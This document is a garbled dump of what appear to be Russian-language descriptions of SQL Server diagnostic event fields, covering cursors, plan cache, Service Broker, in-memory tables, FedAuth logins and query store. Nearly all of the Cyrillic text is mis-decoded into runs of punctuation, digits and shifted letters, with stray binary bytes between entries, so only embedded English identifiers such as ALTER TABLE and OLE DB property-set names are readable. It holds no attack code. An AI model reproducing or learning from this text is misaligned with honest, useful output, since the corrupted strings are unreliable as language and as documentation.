:><?8;OF88.�@>8AE>48B 2 A;CG0OE, :>340 8=AB@C:F8O >?@545;5=0 4;O :C@A>@0, A2>9AB20 :C@A>@0 7040=K 8 :C@A>@ 70?>;=5=. A?>;L7C9B5 MB> A>1KB85 4;O 4803=>AB8:8 ?@>1;5< A ?@>872>48B5;L=>ABLN :C@A>@0.`45=B8D8:0B>@ ;>:0;L=>3> ?>;L7>20B5;O Windows, 8A?>;L7C5<K9 4;O 8<5=8 4;O 2E>40 ?@8 ?>4:;NG5=88.:<O AB@C:BC@K ?;0=0, :>B>@>5 =5 C40;>AL CA?5H=> ?@8<5=8BL.�8A?5BG5@ A50=A>2: ?0<OBL 4;O A50=A0 1K;0 B>;L:> GB> 2K45;5=0 8;8 >A2>1>645=0. A?>;L7C5BAO 4;O >BA;56820=8O 2K45;5=8O 8 >A2>1>645=8O ?0<OB8 4;O A50=A>2.PA=><5@ >H81:8=>7=8:05B, :>340 ?@>1;5<0 ?@5>1@07>20=8O B8?0 2;8O5B =0 ?;0=.  =0G5=85 2K@065=8O C:07K205B ?@5>1@07>20=85, :>B>@>5 <>65B AB0BL ?@8G8=>9 =5B>G=>9 >F5=:8 :>;8G5AB20 M;5<5=B>2 8;8 ?><5H0BL 8A?>;L7>20=8N ?;0=0 =0 >A=>25 ?>8A:0 4;O 2K1>@0 ?;0=0 70?@>A0.  A;8 A=8605BAO ?@>872>48B5;L=>ABL, 8=>340 ?>;57=> 87<5=8BL 70?@>A.PA:;NG5=0 ;8 ?0:5B=0O >1@01>B:0?|A;8 7040=> 7=0G5=85 1, collect_object_name 2:;NG05B A1>@ 40==KE object_name. > C<>;G0=8N AB>;15F object_name =5 A>7405BAO.PA,@>8AE>48B ?@8 >B?@02:5 ?;0=0 4@C3><C <>4C;N+!>>1I5=85 >1 >H81:5, 2>72@0I5==>5 A5@25@><.PA>4:;NG5=85 MARS.<O 107K 40==KE 4;O A>548=5=8OPA45@5G8A;5=85 0;LB5@=0B82=KE B8?>2 8=AB@C:F89 8=45:A0g>7=8:05B, :>340 DML->?5@0F8O, :>B>@0O 4>;6=0 ?5@570?8A0BL B>;L:> G0ABL 1>;LH>3> 7=0G5=8O AB>;1F0, ?5@570?8AK205B 2A5 7=0G5=85.  "0:>5 <>65B 8<5BL <5AB>, 5A;8 :CG0 8;8 :;0AB5@87>20==K9 8=45:A B01;8FK 1K;8 ?>AB@>5=K 2 @568<5 "2 A5B8".  A?>;L7C9B5 MB> A>1KB85 4;O 845=B8D8:0F88 @01>G8E =03@C7>:, @01>B0NI8E <54;5==55 87-70 ?>AB@>5=8O 8=45:A0 2 @568<5 "2 A5B8".PA�>7=8:05B ?@8 7025@H5=88 70?@>A0 BEGIN TRANSACTION, >B?@02;5==>3> 87 :;85=BA:>3> ?@8;>65=8O G5@57 8=B5@D59A C?@02;5=8O B@0=70:F8O<8.E!>2>:C?=K9 @07<5@ 2A5E D@03<5=B>2 ?>;=>B5:AB>2>3> 8=45:A0 (2 109B0E).PA�@>8AE>48B, 5A;8 ?@8 48A?5BG5@870F88 2K7>20 ?@>F54C@K Hekaton ?@>8AE>48B ?5@5E>4 : <54;5==><C ?CB8 2K?>;=5=8O :>40 ?5@540G8 ?0@0<5B@>2R>7=8:05B, :>340 >?5@0F8O ALTER TABLE ALTER =04 AB>;1F>< >1=>2;O5B 107>2K9 8=45:A.>=B5:AB A>1KB8O C254><;5=8OS><?8;8@>20BL :>4 A >?8A0=85< A>AB>O=8O :><?8;OF88 8;8 ?@8G8=K ?>2B>@=>9 :><?8;OF880B@>=CBK9 >1J5:B.PA�@>8AE>48B ?@8 A1>5 D>=>2>9 7040G8 ?5@5<5I5=8O 40==KE 6C@=0;0 2 B5<?>@0;L=>9 B01;8F5, >?B8<878@>20==>9 4;O ?0<OB8, 87 2=CB@5==59 B01;8FK 6C@=0;0 2 B01;8FC 6C@=0;0, ?@>8AE>4OI5< 2=5 ?@>F5AA0 70?8A8 =0 48A:, >B=>AOI53>AO : :>=:@5B=>9 B01;8F5.yA;8 7040=> 7=0G5=85 1, collect_call_stack 2:;NG05B A1>@ 40==KE call_stack. > C<>;G0=8N AB>;15F call_stack =5 A>7405BAO.'8A;> :;NG59 B>;L:> 4;O GB5=8OI#:07K205B 2@5<O & 2 <8:@>A5:C=40E, 70B@0G5==>5 =0 2K?>;=5=85 8=AB@C:F88.)45=B8D8:0B>@ AB>;1F0 4;O >1J5:B0 ?>8A:0.PA'!2545=8O >1 M2@8AB8:5 ?0:5B=>3> @568<0.7%5H ?;0=0 70?@>A>2, ?@54AB02;ONI89 D>@<C ?;0=0 70?@>A>23!>AB>O=85 2K?>;=5=8O 4;O ?@>F54C@K >B@01>B:8 >B:070PA#URI-:>4 4;O 70?@>A>2 : :>=B@>;;5@C.PAx@5<O, 70B@0G5==>5 =0 2K7>2K, :0A0NI85AO 8A?>;L7>20=8O 107K 40==KE, ?@8 ?>8A:5 ?@028; 1@0=4<0CM@0 4;O C@>2=O 107K 40==KEa!@010BK205B 4;O B5AB8@>20=8O ?0@0<5B@>2 ELEVATE_ONLINE 8;8 ELEVATE_RESUMABLE >1;0AB8 107K 40==KE.l>7=8:05B, 5A;8 2 0:B828@>20==>9 >G5@548 A 4>ABC?=K<8 A>>1I5=8O<8 =5 >1=0@C65=> =8 >4=>3> 459AB28O ?>;CG5=8OPAL-:2820;5=B=K9 70?@>A T-SQL, :>B>@K9 @01>B05B 2 D8:B82=>9 B01;8F5 D@03<5=B>2.CB@81CBK GC2AB28B5;L=>AB8 :;0AA8D8:0F88 A5@80;87>20==KE 40==KE XML.?8B>2K9 25:B>@, A>45@60I89 C:070==CN AB0B8AB8:C 2>AAB0=>2;5=8O.h!:>;L:> @07 8A?>;L7>20;0AL >F5=:0 :@0B=>AB8 ?> C<>;G0=8N (4;O B5:CI53> C@>2=O A>2<5AB8<>AB8 107K 40==KE)A=0G5=85 true, 5A;8 DC=:F8O 2:;NG5=0 A ?><>ILN ?0@0<5B@0 DC=:F88.,>7=8:05B ?@8 70?@>A5 40<?0 ?0<OB8 ?@>F5AA0.PA(#:07K205B, CA?5H=> ;8 2K?>;=5=> 459AB285!'8A;> D878G5A:8E >?5@0F89 GB5=8O.@8<5@=0O :@0B=>ABL:8B>2K9 25:B>@, A>45@60I89 C:070==CN AB0B8AB8:C 0@E820F88.-45=B8D8:0B>@ ?5@5=>A8<>3> A;54CNI8< >1J5:B0.A0G0;L=>5 A<5I5=85 8=AB@C:F88 70?@>A0 >B=>A8B5;L=> =0G0;0 ?0:5B0.U45=B8D8:0B>@ B@0=70:F88, 8A?>;L7C5<K9 2A5<8 CG0AB2CNI8<8 2 B@0=70:F88 1070<8 40==KE.PA=!B>;15F, 4;O :>B>@>3> 87<5=O5BAO DC=:F8O <0A:8@>20=8O 40==KE.PA9#:07K205B B8? 459AB28O, 2K?>;=O5<>3> =04 H01;>=>< 70?@>A0PA2>102;5= :C@A>@, :MH8@>20==K9 48A?5BG5@>< :C@A>@>2!!>1@0BL H03 @0A?@545;5==>3> ?;0=0*070 40==KE, 2 :>B>@>9 8A?>;L7C5BAO MATCH.PAF0H;8 ;8 <K ?5@A?5:B82=>5 42>8G=>5 ?@8A>548=5=85 2> 2E>4=>< 2K@065=88?b@8G8=0, ?> :>B>@>9 AB>;15F 8=AB@C:F88 ALTER TABLE ADD 2K?>;=O5B >?5@0F8N UPDATE 4;O :064>9 AB@>:8>?KB:0 70=5A5=8O 2 :MH ?;0=>2;8A?5BG5@ A50=A>2: =0G8=05BAO 2K?>;=5=85 @01>G53> M;5<5=B0.*><5@ D@03<5=B0 ?>4B25@6405<>3> A>>1I5=8O.PA%?5@0F8O ?>;=>B5:AB>2>3> A:0=8@>20=8O0B53>@88 A>>1I5=89 >1 >H81:0EPA9=45:A, ?><5G5==K9 D;03>< "3=>@8@>20BL ?@8 >?B8<870F88".'><5@ H;N70, 8A?>;L7C5<K9 2 ?@548:0B0E.�>;CG5=85 EMH0 70?@>A0. A?>;L7C9B5 4;O 845=B8D8:0F88 70?@>A>2 A> AE>659 ;>38:>9. >6=> 8A?>;L7>20BL EMH 70?@>A0 4;O >?@545;5=8O 8A?>;L7>20=8O AB0B8AB8G5A:8E @5AC@A>2 4;O 70?@>A>2, :>B>@K5 >B;8G0NBAO B>;L:> A2>8<8 ;8B5@0;L=K<8 7=0G5=8O<8.><5@ D@03<5=B0 A>>1I5=8O.45=B8D8:0B>@ AB>;1F0.O@>8AE>48B, 5A;8 C AB>;1F0 @57C;LB0B>2 70?@>A0 5ABL <5B:0 :;0AA8D8:0F88 40==KE.PA�"8? 181;8>B5:8 FedAuth, 8A?>;L7C5<>9 :;85=B><, 5A;8 1K;> CAB0=>2;5=> ?>4:;NG5=85 FedAuth. =0G5=85 0 >1>7=0G05B ?>4:;NG5=85, >B;8G=>5 >B FedAuth. 80?07>= 1-128 4;O 480?07>=0 B8?>2 181;8>B5:8 TDS 0-127.-@54K4CI55 7=0G5=85 @568<0 =0AB@>9:8 A5@25@0.�@>8AE>48B ?@8 7025@H5=88 ?5@5<5I5=8O 40==KE 6C@=0;0 2 B5<?>@0;L=>9 B01;8F5, >?B8<878@>20==>9 4;O ?0<OB8, 87 2=CB@5==59 B01;8FK 6C@=0;0 2 B01;8FC 6C@=0;0.;@>8AE>48B, 5A;8 ?@548:0B C:070= 2> 2@5<O ?5@5=>A0 B01;8FK.H?5@0B>@ ?@>25@:8 =0 @025=AB2> 4;O 42CE AB@>:>2KE 7=0G5=89 SQL 2 .=8:>45F45=B8D8:0B>@ 107K 40==KE, :>B>@>9 ?@8=04;568B 2K?>;=O5<0O 8=AB@C:F8O.?45=B8D8:0B>@ 107K 40==KE, :>B>@0O A>45@68B A>740205<K9 >1J5:B.PA>7=8:05B, 5A;8 E@0=8<0O ?@>F54C@0 =5 =0945=0 2 :MH5 ?@>F54C@. A;8 40==>5 A>1KB85 2>7=8:05B G0AB>, MB> <>65B C:07K20BL, GB> 4;O SQL Server B@51C5BAO 1>;LH5 ?0<OB8.  A?>;L7C9B5 MB> A>1KB85 2<5AB5 A 4@C38<8 A>1KB8O<8 sp_cache_* 4;O CAB@0=5=8O ?@>1;5<, A2O70==KE A :MH5< ?@>F54C@.PA~@>8AE>48B, :>340 ?>;L7>20B5;L ?KB05BAO A>740BL B5<?>@0;L=CN B01;8FC A :>=5G=K< A@>:>< E@0=5=8O, 6C@=0;>< CCI 8 AB>;1F0<8 LOB.B'8A;> AB@0=8F, 70?8A0==KE 2 E>45 70?8A8 40==KE E@0=8<>9 ?@>F54C@>9@C??8@>20=85 ?>  AB>;1F0.@5<O A1>@:8 4;O TVF.PA$45=B8D8:0B>@ 3;>10;L=>9 B@0=70:F88.?!@010BK205B ?@8 7025@H5=88 70?@>A0 =0 CA5G5=85 2=5H=59 B01;8FK.159AB28O B01;8FK ?0@0<5B@>2 C254><;5=8O > 70?@>A5;!B>;15F, : :>B>@><C ?@8<5=O5BAO <5B:0 :;0AA8D8:0F88 40==KE.PAU=8F80;870F8O 459AB28O :>=5G=>3> 02B><0B0 4>AB02:8 ?5@540G8 :><?>=5=B0 Service BrokerM0G0;> A>E@0=5=8O @01>G59 B01;8FK >1J5:B>2 ?5@540G8 :><?>=5=B0 Service Broker45=B8D8:0B>@ >1J5:B0, A>45@60I53> ?>2B>@=> :><?8;8@C5<CN 8=AB@C:F8N. -B>B >1J5:B <>65B 1KBL E@0=8<>9 ?@>F54C@>9, B@8335@>< 8;8 >?@545;O5<>9 ?>;L7>20B5;5< DC=:F859. ;O =5@53;0<5=B8@>20==KE ?0:5B>2 8;8 ?>43>B>2;5==KE 8=AB@C:F89 Transact-SQL 845=B8D8:0B>@ object_id ?CAB.w45=B8D8:0B>@ 480;>30. -B>B 845=B8D8:0B>@ ?5@5405BAO 2 A>AB025 A>>1I5=8O 8 O2;O5BAO >1I8< 4;O >1>8E CG0AB=8:>2 480;>30."8? ?>;8B8:8 @0A?@545;5=8OPA$"5:AB 8=AB@C:F88, 2K7202H59 A>1KB85.=45=B8D8:0B>@ 107K 40==KE, A>45@60I59 >G5@54L ?@54C?@5645=89.M0G0;> A>1KB8O :>=5G=>3> 02B><0B0 4>AB02:8 ?5@540G8 :><?>=5=B0 Service Broker>;CG5=85 AB5:0 Transact-SQL+$C=:F8O ?@>D8;8@>20=8O UDFInvokeExternal().{@>8AE>48B, :>340 >?B8<870B>@ 70?@>A>2 2K18@05B 4;O 8A?>;L7>20=8O 8=45:A, ?><5G5==K9 D;03>< "3=>@8@>20BL ?@8 >?B8<870F88".^>7=8:05B ?>A;5 =0G0;0 2K?>;=5=8O B@8335@0 LOGON 8;8 DC=:F88-:;0AA8D8:0B>@0 Resource Governor.Z#:07K205B, 5ABL ;8 2 ?;0=5 70?@>A0 >?5@0B>@ A:0=8@>20=8O B01;8FK 8;8 8=45:A0 A ?@548:0B0<8@>8AE>48B ?@8 2K?>;=5=88 >?5@0F89, A2O70==KE A H01;>=0<8 70?@>A>2, 8A?>;L7C5<K<8 O4@>< !# 4;O ?@54>AB02;5=8O >1I8E A2545=89 > 70?@>A5, 8A?>;L7C5<>< 4;O C254><;5=8O. A?>;L7C9B5 MB> A>1KB85 4;O =01;N45=8O 70 A>740=85<, 8A?>;L7>20=85< 8 C40;5=85< H01;>=0 70?@>A0�#:07K205B G8A;> ?>?KB>: ?>2B>@0 4> 7025@H5=8O 7040=8O. @8<5=8<> B>;L:> 2 A;CG05, 5A;8 ?>;5 job_failure_type A>45@68B 7=0G5=85 1.0:A8<0;L=>5 7=0G5=85 DOP.KG8A;5==K9 RCS.2!>>1I05B > 7025@H5=88 A25@:8 40==KE 2 ?0:5B5 AB@>:n>7=8:05B, :>340 70?@>A 8A?>;L7C5B B01;8G=K5 ?5@5<5==K5, GB>1K C:070BL, 345 ?@>8AE>48;0 >B;>65==0O :><?8;OF8O.U 07=8F0 <564C >1J5<>< ?0<OB8, 2K45;5==K< 2> 2@5<O A>740=8O, 8 B5:CI8< >1J5<>< ?0<OB8.PAE070 40==KE, 2 :>B>@>9 >1=>2;ONBAO ?@54AB02;5=8O <><5=B0;L=KE A=8<:>21 57C;LB0B HResult, 2>72@0I5==K9 ?>AB02I8:>< OLEDBc@>8AE>48B 2> 2@5<O 2K?>;=5=8O, :>340 ?>;L7>20B5;L 405B :><0=4C 0@E820F88 2 C?@02;O5<>< M:75<?;O@5.PAD!>>1I05B >1 >H81:5, 2>7=8:H59 2> 2@5<O ?5@570?8A8 70?@>A0 =0 ?5@5=>AA/2;O5BAO ;8 B01;8F0 6C@=0;0 :;0AB5@87>20==K< E@0=8;8I5< AB>;1F>2?>;L7>20B5;L A50=A0 NT.MB0? ?@>F5AA0 87<5=5=8O DML+$C=:F8O ?@>D8;8@>20=8O ExecUdxDataAccess().;8B5;L=>ABL (2 <8;;8A5:C=40E)Z#:07K205B, 2K?>;=O5BAO >?@545;O5<0O ?>;L7>20B5;5< DC=:F8O-:;0AA8D8:0B>@ 8;8 B@8335@ LOGON.<'8A;> >?5@0F89 70?8A8 AB@0=8FK, 8A?>;L7>20==KE 2 8=AB@C:F88.C@5<O, 70B@0G5==>5 =0 2K7>2K ISC/ASC ?@8 4>102;5=88 ?>AB02I8:0 SSPIPA=AB@C:F8O SQL 7025@H5=0XBA;568205B 8A?>;L7>20=85 ?0<OB8 4;O :;85=BA:>9 G0AB8 4;O :;5@:0 ?0<OB8 CACHESTORE_PHDR.#!5@L57=>ABL >H81:8 ?@8 A1>5 ?0:5B0.+>7=8:05B 2 =0G0;5 <>48D8:0F88 B01;8FK XTP.X><5@ >H81:8 4;O 40==>3> A>1KB8O. '0AB> MB> =><5@ >H81:8, E@0=8<K9 2 B01;8F5 sysmessages?@5<O, 70B@0G5==>5 =0 2=CB@5==NN >1@01>B:C ?@>25@:8 ?>4;8==>AB8PAJ<O 107K 40==KE, A>45@60I59 >1J5:B, 4;O :>B>@>3> 2K?>;=O5BAO A:0=8@>20=85.1@570BL >BG5BK > 2K?>;=5=88�>7=8:05B ?@8 7025@H5=88 70?@>A0 SAVE TRANSACTION, >B?@02;5==>3> 87 :;85=BA:>3> ?@8;>65=8O G5@57 8=B5@D59A C?@02;5=8O B@0=70:F8O<8.PA4"01;8F0, 4;O :>B>@>9 87<5=O5BAO C?@02;5=85 25@A8O<8.?45=B8D8:0B>@ 107K 40==KE, :>B>@0O A>45@68B 87<5=5==CN B01;8FC.>45=B8D8:0B>@ M:75<?;O@0 TVF =5 C40;>AL 2K?>;=8BL ?>?5@5<5==>.PA3@>8AE>48B, 5A;8 2 DDL ALTER TABLE 2:;NG5= ?5@5=>A.@>7=8:05B, :>340 4803=>AB8:0 ?>;CG05B C254><;5=85 > :>=F5 B0:B0.345=B8D8:0B>@ >B:;NG5==>9 ?>;L7>20B5;LA:>9 >G5@548._!>>1I05B > 7025@H5=88 C40;5=8O ;>:0;L=KE @5AC@A>2 4;O B01;8FK, 4;O :>B>@>9 1K; >B<5=5= ?5@5=>A.@8>@8B5B @01>G53> M;5<5=B0.P!>7405B AB0B8AB8G5A:89 >BG5B 2 D>@<0B5 XML > 2K?>;=5=88 ?>;=>B5:AB>2>3> 70?@>A0.PA=45=B8D8:0B>@ 107K 40==KE 4;O ?>2B>@=>9 02B>@870F88 8 2K25@:8>;CG5=85 B5:AB0 SQL>4=>2@5<5==K5 2E>4K 2 A8AB5<C ?@8 ?>;CG5=88 MB>3> ?>4:;NG5=8O.PAO#:07K205B, GB> =>20O B@0=70:F8O 1C45B =0G0B0 ?>A;5 D8:A0F88 B5:CI59 B@0=70:F88.PA+"@5B89 0@3C<5=B DC=:F88 <0A:8@>20=8O 40==KE$<O 107K 40==KE, C:070==>9 2 7040=88PA"<O 2K720==>3> A2O70==>3> A5@25@0.O'8A;> ?@028; 1@0=4<0CM@0 4;O 28@BC0;L=>9 A5B8 =0 C@>2=5 A5@25@0 2 B5:CI5< :MH5.PAh?B8<870B>@ 70?CA:05B MB> A>1KB85, :>340 45@52> PhyOp 4;O 70?@>A0 2 8=B5@D59A5 VDW AB0=>28BAO 4>ABC?=K<.MB?@02:0 <>4C;5< >B;>65==>9 70?8A8 =0 48A: ?5@540G8 :><?>=5=B0 Service BrokerM!5B52>9 04@5A A;54CNI53> M:75<?;O@0 :><?>=5=B0 Service Broker =0 ?CB8 : F5;8.�#:07K205B C@>25=L A5@L57=>AB8 >H81:8, 2K7202H59 7025@H5=85 7040=8O. @8<5=8<> B>;L:> 2 A;CG05, 5A;8 ?>;5 job_failure_type A>45@68B 7=0G5=85 1.345=B8D8:0B>@ 107K 40==KE 4;O ;>:0;L=>9 107K 40==KEPA"<O A;C61K, >B?@0282H59 A>>1I5=85.!>>1I5=85 4;O A>1KB8OPA)!>>1I05B 2KE>4=K5 40==K5 35=5@0B>@0 :>40.A#:070=85 :>=B59=5@0, 8A?>;L7C5<>5 4;O 3@C??8@>20=8O >BG5B>2 40<?090G0;L=>5 A<5I5=85 8=AB@C:F88 >B=>A8B5;L=> =0G0;0 ?0:5B0.r45=B8D8:0B>@ 107K 40==KE, : :>B>@>9 ?@8=04;568B <>4C;L, A>45@60I89 8=AB@C:F8N, 2K?>;=5=85 :>B>@>9 1K;> 7025@H5=>.7'8A;> 0:B82=KE 70?@>A>2 =0 ?>;CG5=85 4;O A@54=53> H;N70]5@5405B 40==K5 >1 CA?5H=>< 7025@H5=88 DC=:F88 ?5@5=>A0 AE5<K 2> 2@5<O 7040G8 ?5@5=>A0 AE5<K.PA>#:07K205B, GB> >?5@0F8O ?>;=>B5:AB>2>3> A:0=8@>20=8O 70?CI5=0.F@>8AE>48B ?@8 >1@0I5=88 70?@>A0 : AB>;1FC, 2 :>B>@>< >BACBAB2C5B AB0B8AB8:0, :>B>@0O <>3;0 1K 8A?>;L7>20BLAO 4;O >?B8<870F88 70?@>A0. A?>;L7C9B5 MB> A>1KB85 4;O >?@545;5=8O 70?@>A>2, :>B>@K5 <>3CB 8A?>;L7>20BL =5>?B8<0;L=K5 ?;0=K. -B> A>1KB85 D>@<8@C5BAO B>;L:> ?@8 >B:;NG5==>< ?0@0<5B@5 02B><0B8G5A:>3> A>740=8O AB0B8AB8:8.)"01;8F0, 4;O :>B>@>9 1K; 4>102;5= ?5@8>4.PA(>2>5 7=0G5=85 D;03>2 A5@25@0 ?><>I=8:0.H@5<O &, 70B@0G5==>5 =0 MB0?5 fullopt 70?@>A0 USEPLAN (2 <8;;8A5:C=40E).@54;>65==K9 C@>25=L A>2<5AB8<>AB8 107K 40==KE@54K4CI89 ?@>F5=B 2K1>@:8/<O 4;O 2E>40, A2O70==>5 A 703@C65==K< B>:5=><.PA�@5<O 2 <8;;8A5:C=40E, :>B>@>5 CH;> C D>=>2>9 7040G8 =0 ?>8A: B01;8F, 2 :>B>@KE B@51C5BAO <83@0F8O 6C@=0;>2, 8 70?CA: <83@0F88 6C@=0;>2.75B>4, 8A?>;L7C5<K9 4;O C40;5=8O >1J5:B0 87 :MH0 ?;0=>2PA.#:07K205B, GB> ?5@5=5A5==K5 >1J5:BK =5 =0945=K3@5@20=0 7040G0 0:B820F88 :><?>=5=B0 Service BrokerPA?@54>AB02;O5B A?8A>: ?0@0<5B@>2 SET, ?5@540205<KE 2 A>548=5=88.L$;03, C:07K20NI89, 1K;8 ;8 2A5 40==K5 ?5@5<5I5=K 2 B01;8FC 6C@=0;0 =0 48A:5.PA!60B85 B5:AB0 (2:;. 8;8 >B:;.)N!@010BK205B ?@8 A<5=5 B>:5=0 4;O 2E>40 A ?><>ILN =5O2=>9 ?@>25@:8 ?>4;8==>AB8.a">G=>ABL =0G0;L=>3> AB>;1F0 4;O CA;>28O A>548=5=8O, 5A;8 CA;>285 C:070=>, 2 ?@>B82=>< A;CG05�  0.?#:07K205B B8? :C@A>@0, ?5@2>=0G0;L=> 70?@>H5==>3> 4;O >?5@0F88."!B@0B538O, 8A?>;L7C5<0O 4;O >F5=:8245@52LO 2 @07;8G=KE AB048OE 2 ?@>F5AA5 >?B8<870F884@>8AE>48B, :>340 A50=A DQ A>E@0=O5BAO 2 :MH A50=A0./@>8AE>48B ?>A;5 =0G0;0 B@0=70:F88 107K 40==KE.*45=B8D8:0B>@ >1J5:B0, 2AB02;5==>3> 2 :MH.PAX45=B8D8:0B>@ C40;5==>3> ?>;L7>20B5;O, 8A?>;L7C5<K9 4;O 8<5=8 4;O 2E>40 ?@8 ?>4:;NG5=88.<O 107K 40==KE.45=B8D8:0B>@ 3@C??K @5AC@A>2.J0:A8<0;L=0O 4;8=0 AB>;1F0 ?>A;5 2=5A5=8O 87<5=5=89 2 >?@545;5=85 AB>;1F0.C!>?>AB02;5=85 AB0489 @0725@BK20=8O 4;O ?>4A8AB5<K Hekaton 25@A88 2.PA"8? 7040G8 QDS<O 2=5H=59 107K 40==KE.�login_correlation_id 2 :0G5AB25 EMH0 {8<O A5@25@0, C75;, 8<O ?@8;>65=8O, MAC-04@5A :;85=B0,  ?@>F5AA0 :;85=B0, 8<O 4@0925@0 :;85=B0}.PA1J5:B E@0=5=8O AB>;1F0PA4$C=:F8O ?@>D8;8@>20=8O CTableValuedClrUdf::GetRow().$"@51C5<K9 @568< =0AB@>9:8 ?><>I=8:0.?@5<O (2 <8:@>A5:C=40E), ?@>H54H55 A <><5=B0 2E>40 ?>;L7>20B5;OR?5@0B>@ ?@>25@:8 =0 =5@025=AB2> 4;O 42CE AB@>:>2KE 7=0G5=89 2 D>@<0B5 SQL UNICODEPA)>;CG5=85 ?>;L7>20B5;O NT B5:CI53> A50=A0PAY!>>1I05B >1 >H81:5 8;8 CA?5H=>< 7025@H5=88 A25@:8 40==KE <564C =5A:>;L:8<8 ?0:5B0<8 AB@>:E@5<O, 70B@0G5==>5 =0 ?>8A: ?@028; 1@0=4<0CM@0 4;O C@>2=O 107K 40==KE<>;CG5=85 845=B8D8:0B>@0 3@C??K @5AC@A>2 4;O B5:CI53> A50=A045=B8D8:0B>@ A50=A0.PA�>7=8:05B, 5A;8 E@0=8;8IC 70?@>A>2 =5 C40;>AL 70?8A0BL 70?@>A. %@0=8;8I5 70?@>A>2 =5 1C45B >BA;56820BL AB0B8AB8:C MB>3> 70?@>A0. !>45@68B B>;L:> >A=>2=K5 =5:;85=BA:85 40==K5, :>B>@K5 <>6=> 8A?>;L7>20BL 4;O >?@545;5=8O ?@>1;5<K.k@>8AE>48B ?@8 C40;5=88 ?;0=0 70?@>A0 87 :MH0 ?;0=>2 8 AB0B8AB8:8 70 ?@>H;K5 ?5@8>4K ?> C40;O5<><C >1J5:BC.�>7=8:05B ?@8 CAB0=>2:5 A>548=5=8O A ?>AB02I8:>< OLE DB. -B> A>1KB85 A>18@05B A2>9AB20 >B C40;5==>3> ?>AB02I8:0 87 =5A:>;L:8E =01>@>2 A2>9AB2, 2:;NG0O A;54CNI85: DBPROPSET_DATASOURCEINFO, SQLPROPSET_OPTHINTS, DBPROPSET_SQLSERVERDATASOURCEINFO (B>;L:> SQL Server), DBPROPSET_SQLSERVERDBINIT (B>;L:> SQL Server), DBPROPSET_ROWSET, 0 B0:65 8=B5@D59A IDBInfo. A?>;L7C9B5 MB> A>1KB85 4;O 0=0;870 8 CAB@0=5=8O ?@>1;5<, 2>7=8:0NI8E ?@8 2K7>20E ?>AB02I8:0 OLE DB 2 C40;5==KE 70?@>A0E.PA4=0G5=85 true, 5A;8 70?@>A 1K; =0945= 2 EMH-B01;8F5.e!>2>:C?=>5 2@5<O <564C =5A:>;L:8<8 2K7>20<8 2 WriteAsync 8 WriteHandler ?@8 4>102;5=88 ?>AB02I8:0 SSLPAA2545=8O 8;8 >H81:0.N@>8AE>48B ?@8 70?CA:5 >1=>2;5=8O >4=>3> 87 ?@54AB02;5=89 <><5=B0;L=KE A=8<:>2#:07K205B B8? D>=>2>3> 7040=8O.]!>45@68B 7=0G5=85 ?0@0<5B@0 @userinfo, ?5@540==>3> E@0=8<>9 ?@>F54C@5 sp_repl_generate_event.<BA;568205B =54>?CAB8<K5 ?0@0<5B@K 02B><0B8G5A:>9 =0AB@>9:8.;8B5;L=>ABL >1=>2;5=8O,#:07K205B, O2;O5BAO ;8 MB> ?>2B>@=K< 2E>4><.PA>!@010BK205B ?@8 7025@H5=88 70?@>A0 : :>=5G=K< B>G:0< :;0AB5@0."!>45@60=85 6C@=0;0 35=5@0B>@0 :>40O"01;8F0, 4;O >4=>3> 87 AB>;1F>2 :>B>@>9 87<5=O5BAO DC=:F8O <0A:8@>20=8O 40==KE.PAY#:07K205B, 2K?>;=O;>AL ;8 @53C;8@>20=85 6C@=0;0 RbIoRg, 8 >B25BAB25==>3> 70 MB> AC1J5:B0.@>;CG5=85 7=0G5=8O, 845=B8G=>3> 7=0G5=8N DC=:F88 CONTEXT_INFO().c@>8AE>48B ?@8 7025@H5=88 D>=>2>9 7040G8 >G8AB:8 B5<?>@0;L=KE B01;8F 6C@=0;>2 A ?>;8B8:>9 E@0=5=8O.Y>;CG5=85 8<5=8 CG0AB=8:0 =0 C@>2=5 A5@25@0, =0G02H53> A50=A, 2 :>B>@>< 2>7=8:;> A>1KB85.@8G8=0 B@0AA8@>2:8 AB5:0K>7=8:05B ?@8 ?>;CG5=88 :><?>=5=B>< Service Broker ?>2@5645==>3> A>>1I5=8O.9"01;8F0, 4;O :>B>@>9 =5 C40;>AL >G8AB8BL B01;8FC 6C@=0;0.�!>>1I5=85 0:B820F88. -B> A>>1I5=85 <>65B A>45@60BL 8<O E@0=8<>9 ?@>F54C@K 0:B820F88, A>>1I5=8O, 2>72@0I5==K5 E@0=8<>9 ?@>F54C@>9 0:B820F88, 8;8 A>>1I5=85 >1 >H81:5.A<O 107K 40==KE, 2 :>B>@>9 =0E>48BAO >1J5:B, >1=0@C65==K9 2 :MH5.@5<O CLR (<A)."8? 40==KE SQL�45=B8D8:0B>@ >1J5:B0, :>B>@K9 A>45@68B 70?@>A. -B>B >1J5:B <>65B 1KBL E@0=8<>9 ?@>F54C@>9, B@8335@>< 8;8 ?>;L7>20B5;LA:>9 DC=:F859. # =5@53;0<5=B8@>20==KE ?0:5B>2 8;8 ?>43>B>2;5==KE 8=AB@C:F89 Transact-SQL 845=B8D8:0B>@ object_id ?CAB.945=B8D8:0B>@ 107K 40==KE, 2 :>B>@>9 1K; 2K?>;=5= 70?@>A.,><5@ D@03<5=B0 ?5@5=0?@02;5==>3> A>>1I5=8O.�45=B8D8:0B>@ A1>@0 AB0B8AB8:8, AD>@<8@>20==>9 4;O 22>40. ">B 65 845=B8D8:0B>@ C:07K205BAO 2 ShowplanXml 2 :0G5AB25 0B@81CB0 M;5<5=B0 RelOp ?@8 2:;NG5=88 A>1KB8O.@07<5@ A>>1I5=8O 2 109B0E*>7=8:05B ?@8 2=5A5=88 >H81:8 stackHasher.1"01;8F0, 4;O :>B>@>9 <83@0F8O 6C@=0;>2 7025@H5=0.5"@51C5<>5 A>AB>O=85 ?><>I=8:0 (2:;NG5= 8;8 >B:;NG5=).9:B828@C5BAO ?@8 7025@H5=88 7040G8 4;O E@0=8;8I0 70?@>A>2&59AB285 H01;>=0 C254><;5=8O > 70?@>A5P?5@0B>@ "<5=LH5 8;8 @02=>" <564C 42C<O AB@>:>2K<8 7=0G5=8O<8 2 D>@<0B5 SQL ANSIA'8A;> ;>38G5A:8E >?5@0F89 GB5=8O AB@0=8F, 8A?>;L7>20==KE ?0:5B><.(@8<5@=K9 @07<5@ 3;>10;L=>9 EMH-B01;8FK.$;038 2E>40 87 ?0:5B0 Login7.E!>AB>O=85 C:07K205B, ACI5AB2C5B ;8 2>7<>6=>ABL 2>AAB0=>2;5=8O A50=A0.K!@010BK205B ?@8 0:B820F88 ?>2B>@=>9 :><?8;OF88 4;O ?>?5@5<5==>3> 2K?>;=5=8OPA)68409B5 